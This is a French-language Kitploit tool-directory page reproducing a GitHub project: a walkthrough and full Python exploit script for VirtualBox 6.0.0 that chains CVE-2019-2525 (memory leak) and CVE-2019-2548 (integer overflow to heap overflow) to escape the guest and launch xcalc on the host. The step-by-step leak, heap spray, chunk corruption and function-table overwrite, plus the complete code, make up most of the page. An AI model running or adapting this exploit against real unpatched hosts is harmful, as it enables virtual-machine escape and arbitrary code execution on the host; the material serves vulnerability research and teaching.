Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
VirtualBox-6.0.0-Exploit-1-day — CVE-2019-2525 / CVE-2019-2548 | Kitploit
Outils/GitHubGitHub/wotmd/virtualbox-6.0.0-exploit-1-day
Memory ForensicsVulnerability AnalysisExploitationInformation GatheringPenetration TestingBinary Exploitation
GitHubwotmd/virtualbox-6.0.0-exploit-1-day

VirtualBox-6.0.0-Exploit-1-day

CVE-2019-2525 / CVE-2019-2548

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
121il y a 5 ansPas encore vérifié

Exploit 1-day VirtualBox 6.0.0

Bugs VBox utilisés

  • CVE-2019-2525 : crUnpackExtendGetAttribLocation Divulgation d'informations
  • CVE-2019-2548 : crServerDispatchReadPixels Débordement d'entier, menant à un débordement de tas
  • Ces bugs peuvent être déclenchés en activant l'accélération 3D.

Avant d'expliquer, voici une vidéo de l'exploit réalisé.

https://youtu.be/IQRLtqMgVCY?t=46

1. Memory Leak (CVE-2019-2525)

  1. En exécutant hgcm_connect et hgcm_disconnect plusieurs fois, on peut placer des valeurs liées à cr_server en mémoire, et en utilisant un décalage négatif dans crUnpackExtendGetAttribLocation, on peut effectuer une fuite de mémoire pour obtenir les adresses de cr_server+19056 et crVBoxHGCMDoDisconnect.
  2. En utilisant la valeur de la mémoire fuite, on obtient les adresses de cr_server et crSpawn.

2. Heap Spray

  1. On effectue un Heap Spray de CRVBOXSVBUFFER_t en mémoire. On utilise alloc_buf pour cela, et comme la mémoire est allouée de manière contiguë, le pData de la structure tampon est également alloué juste à côté de la structure.
  2. Donc, avec alloc_buf(client, 0x20), on crée un pData de la même taille que CRVBOXSVBUFFER_t.

  1. On libère les Buffer ID pairs.

  1. On alloue en alternance alloc_buf(client, 0x50, msg) et alloc_buf(client, 0x20, msg) pour remplir les chunks Free. Le 0x50 n'est pas alloué dans le chunk libéré mais dans une autre zone mémoire.

  1. On libère les Buffer ID pairs de longueur 0x50

3. Corrupt Chunk (CVE-2019-2548)

  1. En profitant du débordement d'entier dans crServerDispatchReadPixels, on alloue une structure de taille 0x20.
    • bytes_per_row = 0x1FFFFFFD / height = 8 ⇒ 0x100000020
  2. Cette structure est insérée dans une zone libre au milieu de la zone de tas sprayée, et comme sa taille est de 0x38, un débordement de tas de 0x18 se produit, permettant de modifier uiID et uiSize de la structure suivante.
    • uiID = 0xdeadbeef / uiSize = 0xffffffff

  1. On peut utiliser la structure avec l'uiID modifié pour modifier le chunk suivant. Comme uiSize vaut 0xffffffff, on peut modifier le chunk suivant jusqu'à pData avec la valeur souhaitée.
    • uiID = 0xcafebabe / uiSize = 0xffffffff / pData = valeur souhaitée

  1. Maintenant, on peut définir pData avec la structure d'uiID 0xdeadbeef et effectuer une écriture hors limites (OOB Write) en utilisant la structure 0xcafebabe.

4. Exploit

  1. En utilisant l'écriture hors limites, on écrit "xcalc" à l'adresse cr_server + 0xc410.
  2. En utilisant l'écriture hors limites, on écrase crServerDispatchBoundsInfoCR (cr_server+0xae98) dans la table de fonctions par la fonction crSpawn.
  3. On exécute crServerDispatchBoundsInfoCR pour appeler la fonction crSpawn. En passant comme arguments command="xcalc", argv=[adresse de "xcalc", NULL], on peut s'échapper de VirtualBox et exécuter la calculatrice.

Résultat

Vidéo de démonstration

https://youtu.be/IQRLtqMgVCY?t=46

Exploit code

root@kitploit:~
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *

def nop_msg():
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + "\x00\x00\x00" +chr(CR_NOP_OPCODE)
        + pack("<IIII", 0x41414141, 0x41414141, 0x41414141, 0x41414141)
        )
    return msg

def make_leak_msg(offset):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_EXTEND_OPCODE) #opcode
        + pack("<I", offset) #packet_length
        + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
        + pack("<I", 0x41424344)
        )
    return msg

def make_readpixels_msg(uiId, uiSize):#x, y, width, height, formata, ttype, pixels):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
        + pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
        + pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
        )
    return msg

def make_crSpawn_msg(cmd, argv):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_BOUNDSINFOCR_OPCODE) #opcode
        + pack("<I", 1)
        + cmd.ljust(16, "\x00")
        + pack("<I", 0)
        + pack("<QQ", argv, 0) # argv : execute string, null
        )
    return msg

def leak_address(client):
    leak_success = False;
    while not leak_success:
    	for i in range(0, 10):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x170):
                leak_success = True
                break
    cr_server = leak - 0x4a70
    
    leak_success = False;
    while not leak_success:
        for i in range(0, 100):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x230):
                leak_success = True
                break
    crSpawn = leak - 0xbd20
    return (cr_server, crSpawn)
    
def heapSpray(client):
    buf_ids = []
    spray_ids = []
    msg = nop_msg()
    # make CRVBOXSVCBUFFER_t & pData heapSpray area
    for i in range(120):
		buf_ids.append(alloc_buf(client, 0x20, msg))
    buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
    
    # even buf_ids free
    for idx in buf_ids[::2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
    
    # fill CRVBOXSVCBUFFER_t free areas
    for i in range(40):
        spray_ids.append(alloc_buf(client, 0x50, msg))
        alloc_buf(client, 0x20, msg)
    
    # make a hole between spray area
    for idx in spray_ids[::-2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])

def make_corrupt_obj(pData):
    obj = (
        "A"*0x28
        + pack("<Q", 0x35)
        + pack("<I", 0xcafebabe) #uiId
        + pack("<I", 0xffffffff) #uiSize
        + pack("<Q", pData) # table_addr
        )
    return obj

def write_anywhere(addr, data):
    #make corrupt obj
    fake_buffer = make_corrupt_obj(addr)
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data])

if __name__=='__main__':
    client = hgcm_connect("VBoxSharedCrOpenGL")
    set_version(client) #must use
    
    # Trigger to CVE-2019-2525
    cr_server, crSpawn = leak_address(client)
    crServerDispatchBoundsInfoCR = cr_server+0xae98
    
    print("[*] crServer : " + hex(cr_server))
    print("[*] crSpawn  : " + hex(crSpawn))
    #print("[*] crServerDispatchBoundsInfoCR : " + hex(crServerDispatchBoundsInfoCR))
    
    # heapSpray
    heapSpray(client)
    
    # Trigger to CVE-2019-2548
    msg = make_readpixels_msg(0xdeadbeef, 0xffffffff)
    crmsg(client, msg)
    #a = input("test1 : ")
   
    # setting "xcalc"
    xcalc_string = cr_server + 0xc410 
    write_anywhere(xcalc_string, "xcalc")
    print("[+] setting execute string ['xcalc'] : " + hex(xcalc_string))

    # overwrite talbe func crSpawn
    print("[+] overwriting crServerDispatchBoundsInfoCR to crSpawn")
    write_anywhere(crServerDispatchBoundsInfoCR, pack("<Q", crSpawn))

    # escape!! execute xcalc
    msg = make_crSpawn_msg("xcalc", xcalc_string)
    crmsg(client, msg)

    hgcm_disconnect(client) 

Télécharger l’outil